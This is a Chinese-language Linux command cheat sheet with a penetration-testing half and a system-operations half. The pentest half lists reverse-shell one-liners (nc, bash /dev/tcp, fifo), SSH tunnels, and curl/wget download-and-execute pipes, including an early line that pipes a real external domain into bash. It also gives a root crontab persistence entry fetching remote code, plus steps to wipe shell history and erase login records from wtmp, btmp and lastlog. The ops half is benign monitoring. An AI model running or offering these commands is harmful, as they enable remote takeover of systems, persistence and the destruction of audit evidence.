Linux 常用命令(渗透 / 运维)

面向渗透测试运维排障的常用命令,不含基础文件/目录操作。 bash 命令 空格可用 ${IFS} 代替

ls${IFS}-al
curl${IFS}lcx.lol/get|bash

一、渗透向

信息收集与权限

内核、主机名、架构:

uname -a

当前用户、uid/gid、所属组:

id
whoami

用户列表(可配合 grep 筛 uid=0):

cat /etc/passwd

用户组:

cat /etc/group

当前用户可免密执行的 sudo 命令:

sudo -l

sudo 配置:

cat /etc/sudoers
ls /etc/sudoers.d/

环境变量(含 PATH、敏感配置):

env

主机名:

hostname

网卡、IP、路由:

ip a
ip route

本机监听端口与对应进程:

ss -tulnp
netstat -tulnp

挂载点(找共享、敏感目录):

mount

计划任务(提权、持久化入口):

cat /etc/crontab
crontab -l

系统级 cron 目录:

ls -la /etc/cron.*

SUID 文件(常见提权点):

find / -perm -4000 2>/dev/null

SGID 文件:

find / -perm -2000 2>/dev/null

带 capability 的可执行文件:

getcap -r / 2>/dev/null

反弹 Shell / 隧道

本机监听,等待反弹连接:

nc -lvnp 端口

nc 反弹(部分版本支持 -e):

nc -e /bin/sh 攻击机IP 端口

bash 反弹:

bash -i >& /dev/tcp/IP/端口 0>&1

nc + fifo 反弹(无 -e 时):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 端口 >/tmp/f

Python 反弹(可查 revshells):

python -c 'import socket,subprocess,os;...'

本地 SOCKS5 代理(本机 1080):

ssh -D 1080 user@跳板

反向隧道,攻击机连远程端口即到目标内网:

ssh -R 远程端口:127.0.0.1:本地端口 user@攻击机

本地转发,本机连本地端口即到内网服务:

ssh -L 本地端口:内网IP:服务端口 user@跳板

下载与无文件执行

下载并执行:

wget http://IP/脚本 -O /tmp/x; chmod +x /tmp/x; /tmp/x

同上,用 curl:

curl -o /tmp/x http://IP/脚本

直接管道执行(无落地文件):

curl http://IP/脚本 | bash

base64 解码落盘执行:

echo "base64串" | base64 -d > /tmp/x; chmod +x /tmp/x; /tmp/x

持久化与痕迹

当前用户加计划任务(反弹、维持):

crontab -e

写入 root crontab(需有写权限):

echo "*/5 * * * * curl IP:port | sh" >> /var/spool/cron/root

开机自启服务(若已植入 unit):

systemctl enable --now 服务名

清空当前 shell 历史:

history -c

清空 bash 历史文件:

echo "" > ~/.bash_history

清空指定日志(需权限):

> /var/log/xxx.log

SSH 免记录与登录痕迹清理

SSH 登录免写本机 known_hosts、不校验主机密钥(目标不记入本机 SSH 记录):

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T root@10.10.10.10 -p 22 /bin/bash

登录目标机后,当前会话禁用 .bash_history 记录:

unset HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

清理目标机登录日志(wtmp/btmp/lastlog),需 root;删除 wtmp 最后一条需执行多次:

utmpdump /var/log/wtmp > /tmp/last.txt && head -n -1 /tmp/last.txt > /tmp/last1.txt && utmpdump -r /tmp/last1.txt > /var/log/wtmp && rm -rf /tmp/last.txt /tmp/last1.txt && echo > /var/log/btmp && echo > /var/log/lastlog

二、运维向

负载与进程

CPU/内存、进程列表,动态刷新:

top
htop

负载 1/5/15 分钟:

uptime

按内存排序进程:

ps aux --sort=-%mem

按 CPU 排序进程:

ps aux --sort=-%cpu

内存、swap、io、上下文切换:

vmstat 1

按进程看 CPU/IO(sysstat):

pidstat 1

按进程看磁盘 IO(需 root):

iotop

网络与端口

监听端口及进程:

ss -tulnp
netstat -tulnp

所有连接状态(ESTAB、TIME_WAIT 等):

ss -an

抓指定网卡、端口:

tcpdump -i eth0 -n port 80

抓包存文件,事后分析:

tcpdump -i any -w out.pcap

DNS 解析:

dig 域名
nslookup 域名

路由跳数:

traceroute 目标

测内网 HTTP 连通与响应:

curl -v -m 5 http://内网:port

日志与排障

实时跟日志:

tail -f /var/log/xxx.log

systemd 服务日志实时跟:

journalctl -u 服务名 -f

最近错误级别日志:

journalctl -p err -n 100

内核/驱动最近消息:

dmesg | tail

在日志目录搜关键词:

grep -r "关键词" /var/log/

登录成功/失败记录:

last
lastb

各用户最后登录时间:

lastlog

磁盘与 IO

各分区空间:

df -h

目录占用:

du -sh 目录

磁盘 IO 与利用率(sysstat):

iostat -x 1

某目录下被打开的文件(查占盘进程):

lsof +D /path

服务与定时任务

服务状态:

systemctl status 服务名

所有服务单元:

systemctl list-units --type=service

当前用户计划任务:

crontab -l

系统级 cron:

cat /etc/crontab
ls /etc/cron.d/

安全与审计

登录审计:

last
lastlog

近期 SELinux 拒绝(auditd):

ausearch -m avc -ts recent

SELinux 状态:

getenforce

排查异常监听端口:

ss -tulnp

按场景用:渗透侧重信息收集、反弹隧道、提权与持久化;运维侧重负载、网络、日志、磁盘与服务。具体用法可 man 命令 或结合 revshells/cheatsheet 使用。